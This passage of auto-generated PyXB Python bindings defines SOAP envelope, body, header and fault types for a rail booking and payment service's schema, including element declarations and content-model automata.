property(__claimValueDocumentResponse.value, __claimValueDocumentResponse.set, None, None) # Element confirmBookingRecordRequest uses Python identifier confirmBookingRecordRequest __confirmBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordRequest'), 'confirmBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__confirmBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 47, 12), ) confirmBookingRecordRequest = property(__confirmBookingRecordRequest.value, __confirmBookingRecordRequest.set, None, None) # Element confirmBookingRecordResponse uses Python identifier confirmBookingRecordResponse __confirmBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordResponse'), 'confirmBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__confirmBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 48, 12), ) confirmBookingRecordResponse = property(__confirmBookingRecordResponse.value, __confirmBookingRecordResponse.set, None, None) # Element createBookingRecordRequest uses Python identifier createBookingRecordRequest __createBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'createBookingRecordRequest'), 'createBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__createBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 49, 12), ) createBookingRecordRequest = property(__createBookingRecordRequest.value, __createBookingRecordRequest.set, None, None) # Element createBookingRecordResponse uses Python identifier createBookingRecordResponse __createBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'createBookingRecordResponse'), 'createBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__createBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 50, 12), ) createBookingRecordResponse = property(__createBookingRecordResponse.value, __createBookingRecordResponse.set, None, None) # Element recordFinancialTransactionRequest uses Python identifier recordFinancialTransactionRequest __recordFinancialTransactionRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionRequest'), 'recordFinancialTransactionRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__recordFinancialTransactionRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 51, 12), ) recordFinancialTransactionRequest = property(__recordFinancialTransactionRequest.value, __recordFinancialTransactionRequest.set, None, None) # Element recordFinancialTransactionResponse uses Python identifier recordFinancialTransactionResponse __recordFinancialTransactionResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'recordFinancialTransactionResponse'), 'recordFinancialTransactionResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__recordFinancialTransactionResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 52, 12), ) recordFinancialTransactionResponse = property(__recordFinancialTransactionResponse.value, __recordFinancialTransactionResponse.set, None, None) # Element redeliverValueDocumentRequest uses Python identifier redeliverValueDocumentRequest __redeliverValueDocumentRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentRequest'), 'redeliverValueDocumentRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__redeliverValueDocumentRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 53, 12), ) redeliverValueDocumentRequest = property(__redeliverValueDocumentRequest.value, __redeliverValueDocumentRequest.set, None, None) # Element redeliverValueDocumentResponse uses Python identifier redeliverValueDocumentResponse __redeliverValueDocumentResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'redeliverValueDocumentResponse'), 'redeliverValueDocumentResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__redeliverValueDocumentResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 54, 12), ) redeliverValueDocumentResponse = property(__redeliverValueDocumentResponse.value, __redeliverValueDocumentResponse.set, None, None) # Element retrieveBookingRecordRequest uses Python identifier retrieveBookingRecordRequest __retrieveBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordRequest'), 'retrieveBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__retrieveBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 55, 12), ) retrieveBookingRecordRequest = property(__retrieveBookingRecordRequest.value, __retrieveBookingRecordRequest.set, None, None) # Element retrieveBookingRecordResponse uses Python identifier retrieveBookingRecordResponse __retrieveBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'retrieveBookingRecordResponse'), 'retrieveBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__retrieveBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 56, 12), ) retrieveBookingRecordResponse = property(__retrieveBookingRecordResponse.value, __retrieveBookingRecordResponse.set, None, None) # Element returnValueDocumentRequest uses Python identifier returnValueDocumentRequest __returnValueDocumentRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'returnValueDocumentRequest'), 'returnValueDocumentRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__returnValueDocumentRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 57, 12), ) returnValueDocumentRequest = property(__returnValueDocumentRequest.value, __returnValueDocumentRequest.set, None, None) # Element returnValueDocumentResponse uses Python identifier returnValueDocumentResponse __returnValueDocumentResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'returnValueDocumentResponse'), 'returnValueDocumentResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__returnValueDocumentResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 58, 12), ) returnValueDocumentResponse = property(__returnValueDocumentResponse.value, __returnValueDocumentResponse.set, None, None) # Element searchBookingRecordsRequest uses Python identifier searchBookingRecordsRequest __searchBookingRecordsRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsRequest'), 'searchBookingRecordsRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__searchBookingRecordsRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 59, 12), ) searchBookingRecordsRequest = property(__searchBookingRecordsRequest.value, __searchBookingRecordsRequest.set, None, None) # Element searchBookingRecordsResponse uses Python identifier searchBookingRecordsResponse __searchBookingRecordsResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'searchBookingRecordsResponse'), 'searchBookingRecordsResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__searchBookingRecordsResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 60, 12), ) searchBookingRecordsResponse = property(__searchBookingRecordsResponse.value, __searchBookingRecordsResponse.set, None, None) # Element updateBookingRecordRequest uses Python identifier updateBookingRecordRequest __updateBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'updateBookingRecordRequest'), 'updateBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__updateBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 61, 12), ) updateBookingRecordRequest = property(__updateBookingRecordRequest.value, __updateBookingRecordRequest.set, None, None) # Element updateBookingRecordResponse uses Python identifier updateBookingRecordResponse __updateBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'updateBookingRecordResponse'), 'updateBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__updateBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 62, 12), ) updateBookingRecordResponse = property(__updateBookingRecordResponse.value, __updateBookingRecordResponse.set, None, None) # Element refundBookingRecordRequest uses Python identifier refundBookingRecordRequest __refundBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'refundBookingRecordRequest'), 'refundBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__refundBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 63, 12), ) refundBookingRecordRequest = property(__refundBookingRecordRequest.value, __refundBookingRecordRequest.set, None, None) # Element refundBookingRecordResponse uses Python identifier refundBookingRecordResponse __refundBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'refundBookingRecordResponse'), 'refundBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__refundBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 64, 12), ) refundBookingRecordResponse = property(__refundBookingRecordResponse.value, __refundBookingRecordResponse.set, None, None) # Element validateBookingRecordInformationRequest uses Python identifier validateBookingRecordInformationRequest __validateBookingRecordInformationRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationRequest'), 'validateBookingRecordInformationRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__validateBookingRecordInformationRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 65, 12), ) validateBookingRecordInformationRequest = property(__validateBookingRecordInformationRequest.value, __validateBookingRecordInformationRequest.set, None, None) # Element validateBookingRecordInformationResponse uses Python identifier validateBookingRecordInformationResponse __validateBookingRecordInformationResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'validateBookingRecordInformationResponse'), 'validateBookingRecordInformationResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__validateBookingRecordInformationResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 66, 12), ) validateBookingRecordInformationResponse = property(__validateBookingRecordInformationResponse.value, __validateBookingRecordInformationResponse.set, None, None) # Element generatePaymentTokenRequest uses Python identifier generatePaymentTokenRequest __generatePaymentTokenRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'generatePaymentTokenRequest'), 'generatePaymentTokenRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__generatePaymentTokenRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 67, 12), ) generatePaymentTokenRequest = property(__generatePaymentTokenRequest.value, __generatePaymentTokenRequest.set, None, None) # Element generatePaymentTokenResponse uses Python identifier generatePaymentTokenResponse __generatePaymentTokenResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'generatePaymentTokenResponse'), 'generatePaymentTokenResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__generatePaymentTokenResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 68, 12), ) generatePaymentTokenResponse = property(__generatePaymentTokenResponse.value, __generatePaymentTokenResponse.set, None, None) # Element deletePaymentTokenRequest uses Python identifier deletePaymentTokenRequest __deletePaymentTokenRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'deletePaymentTokenRequest'), 'deletePaymentTokenRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__deletePaymentTokenRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 69, 12), ) deletePaymentTokenRequest = property(__deletePaymentTokenRequest.value, __deletePaymentTokenRequest.set, None, None) # Element deletePaymentTokenResponse uses Python identifier deletePaymentTokenResponse __deletePaymentTokenResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'deletePaymentTokenResponse'), 'deletePaymentTokenResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__deletePaymentTokenResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 70, 12), ) deletePaymentTokenResponse = property(__deletePaymentTokenResponse.value, __deletePaymentTokenResponse.set, None, None) # Element retrieveCancellationSummaryRequest uses Python identifier retrieveCancellationSummaryRequest __retrieveCancellationSummaryRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'retrieveCancellationSummaryRequest'), 'retrieveCancellationSummaryRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__retrieveCancellationSummaryRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 71, 12), ) retrieveCancellationSummaryRequest = property(__retrieveCancellationSummaryRequest.value, __retrieveCancellationSummaryRequest.set, None, None) # Element retrieveCancellationSummaryResponse uses Python identifier retrieveCancellationSummaryResponse __retrieveCancellationSummaryResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'retrieveCancellationSummaryResponse'), 'retrieveCancellationSummaryResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__retrieveCancellationSummaryResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 72, 12), ) retrieveCancellationSummaryResponse = property(__retrieveCancellationSummaryResponse.value, __retrieveCancellationSummaryResponse.set, None, None) _AttributeWildcard = pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=pyxb.binding.content.Wildcard.NC_any) _HasWildcardElement = True _ElementMap.update({ __pointToPointShoppingRequest.name() : __pointToPointShoppingRequest, __pointToPointShoppingResponse.name() : __pointToPointShoppingResponse, __travelPassShoppingRequest.name() : __travelPassShoppingRequest, __travelPassShoppingResponse.name() : __travelPassShoppingResponse, __scheduleSearchRequest.name() : __scheduleSearchRequest, __scheduleSearchResponse.name() : __scheduleSearchResponse, __addPaymentRequest.name() : __addPaymentRequest, __addPaymentResponse.name() : __addPaymentResponse, __authenticatePayerRequest.name() : __authenticatePayerRequest, __authenticatePayerResponse.name() : __authenticatePayerResponse, __cancelBookingRecordRequest.name() : __cancelBookingRecordRequest, __cancelBookingRecordResponse.name() : __cancelBookingRecordResponse, __claimValueDocumentRequest.name() : __claimValueDocumentRequest, __claimValueDocumentResponse.name() : __claimValueDocumentResponse, __confirmBookingRecordRequest.name() : __confirmBookingRecordRequest, __confirmBookingRecordResponse.name() : __confirmBookingRecordResponse, __createBookingRecordRequest.name() : __createBookingRecordRequest, __createBookingRecordResponse.name() : __createBookingRecordResponse, __recordFinancialTransactionRequest.name() : __recordFinancialTransactionRequest, __recordFinancialTransactionResponse.name() : __recordFinancialTransactionResponse, __redeliverValueDocumentRequest.name() : __redeliverValueDocumentRequest, __redeliverValueDocumentResponse.name() : __redeliverValueDocumentResponse, __retrieveBookingRecordRequest.name() : __retrieveBookingRecordRequest, __retrieveBookingRecordResponse.name() : __retrieveBookingRecordResponse, __returnValueDocumentRequest.name() : __returnValueDocumentRequest, __returnValueDocumentResponse.name() : __returnValueDocumentResponse, __searchBookingRecordsRequest.name() : __searchBookingRecordsRequest, __searchBookingRecordsResponse.name() : __searchBookingRecordsResponse, __updateBookingRecordRequest.name() : __updateBookingRecordRequest, __updateBookingRecordResponse.name() : __updateBookingRecordResponse, __refundBookingRecordRequest.name() : __refundBookingRecordRequest, __refundBookingRecordResponse.name() : __refundBookingRecordResponse, __validateBookingRecordInformationRequest.name() : __validateBookingRecordInformationRequest, __validateBookingRecordInformationResponse.name() : __validateBookingRecordInformationResponse, __generatePaymentTokenRequest.name() : __generatePaymentTokenRequest, __generatePaymentTokenResponse.name() : __generatePaymentTokenResponse, __deletePaymentTokenRequest.name() : __deletePaymentTokenRequest, __deletePaymentTokenResponse.name() : __deletePaymentTokenResponse, __retrieveCancellationSummaryRequest.name() : __retrieveCancellationSummaryRequest, __retrieveCancellationSummaryResponse.name() : __retrieveCancellationSummaryResponse }) _AttributeMap.update({ }) Namespace.addCategoryObject('typeBinding', 'Body', Body_) # Complex type {http://schemas.xmlsoap.org/soap/envelope/}Fault with content type ELEMENT_ONLY class Fault_ (pyxb.binding.basis.complexTypeDefinition): """Fault reporting structure""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Fault') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 107, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element faultcode uses Python identifier faultcode __faultcode = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'faultcode'), 'faultcode', '__httpschemas_xmlsoap_orgsoapenvelope_Fault__faultcode', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 112, 8), ) faultcode = property(__faultcode.value, __faultcode.set, None, None) # Element faultstring uses Python identifier faultstring __faultstring = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'faultstring'), 'faultstring', '__httpschemas_xmlsoap_orgsoapenvelope_Fault__faultstring', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 113, 8), ) faultstring = property(__faultstring.value, __faultstring.set, None, None) # Element faultactor uses Python identifier faultactor __faultactor = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'faultactor'), 'faultactor', '__httpschemas_xmlsoap_orgsoapenvelope_Fault__faultactor', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 114, 8), ) faultactor = property(__faultactor.value, __faultactor.set, None, None) # Element detail uses Python identifier detail __detail = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'detail'), 'detail', '__httpschemas_xmlsoap_orgsoapenvelope_Fault__detail', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 115, 8), ) detail = property(__detail.value, __detail.set, None, None) _ElementMap.update({ __faultcode.name() : __faultcode, __faultstring.name() : __faultstring, __faultactor.name() : __faultactor, __detail.name() : __detail }) _AttributeMap.update({ }) Namespace.addCategoryObject('typeBinding', 'Fault', Fault_) # Complex type {http://schemas.xmlsoap.org/soap/envelope/}detail with content type ELEMENT_ONLY class detail (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://schemas.xmlsoap.org/soap/envelope/}detail with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'detail') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 118, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType _AttributeWildcard = pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=pyxb.binding.content.Wildcard.NC_any) _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) Namespace.addCategoryObject('typeBinding', 'detail', detail) Envelope = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Envelope'), Envelope_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 14, 4)) Namespace.addCategoryObject('elementBinding', Envelope.name().localName(), Envelope) Header = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Header'), Header_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 23, 4)) Namespace.addCategoryObject('elementBinding', Header.name().localName(), Header) Body = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Body'), Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 30, 4)) Namespace.addCategoryObject('elementBinding', Body.name().localName(), Body) Fault = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Fault'), Fault_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 106, 0)) Namespace.addCategoryObject('elementBinding', Fault.name().localName(), Fault) Envelope_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Header'), Header_, scope=Envelope_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 23, 4))) Envelope_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Body'), Body_, scope=Envelope_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 30, 4))) def _BuildAutomaton (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton del _BuildAutomaton import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 17, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 19, 12)) counters.add(cc_1) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Envelope_._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Header')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 17, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Envelope_._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Body')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 18, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://schemas.xmlsoap.org/soap/envelope/')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 19, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Envelope_._Automaton = _BuildAutomaton() def _BuildAutomaton_ (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_ del _BuildAutomaton_ import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 26, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://schemas.xmlsoap.org/soap/envelope/')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 26, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Header_._Automaton = _BuildAutomaton_() Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingRequest'), _ImportedBinding_silvershop.PointToPointShoppingRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 33, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingResponse'), _ImportedBinding_silvershop.PointToPointShoppingResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 34, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'travelPassShoppingRequest'), _ImportedBinding_silvershop.TravelPassShoppingRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 35, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'travelPassShoppingResponse'), _ImportedBinding_silvershop.TravelPassShoppingResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 36, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'scheduleSearchRequest'), _ImportedBinding_silvershop.ScheduleSearchRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 37, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'scheduleSearchResponse'), _ImportedBinding_silvershop.ScheduleSearchResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 38, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'addPaymentRequest'), _ImportedBinding_silverbook.AddPaymentRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 39, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'addPaymentResponse'), _ImportedBinding_silverbook.AddPaymentResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 40, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'authenticatePayerRequest'), _ImportedBinding_silverbook.AuthenticatePayerRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 41, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'authenticatePayerResponse'), _ImportedBinding_silverbook.AuthenticatePayerResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 42, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordRequest'), _ImportedBinding_silverbook.CancelBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 43, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordResponse'), _ImportedBinding_silverbook.CancelBookingRecordResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 44, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'claimValueDocumentRequest'), _ImportedBinding_silverbook.ClaimValueDocumentRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 45, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'claimValueDocumentResponse'), _ImportedBinding_silverbook.ClaimValueDocumentResponseType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 46, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordRequest'), _ImportedBinding_silverbook.ConfirmBookingRecordRequestType, scope=Body_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 47, 12))) Body_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'confirmBookingRecordResponse'), _ImportedBinding_silverbook.ConfirmBookingRecordResponseType, scope=Body_, 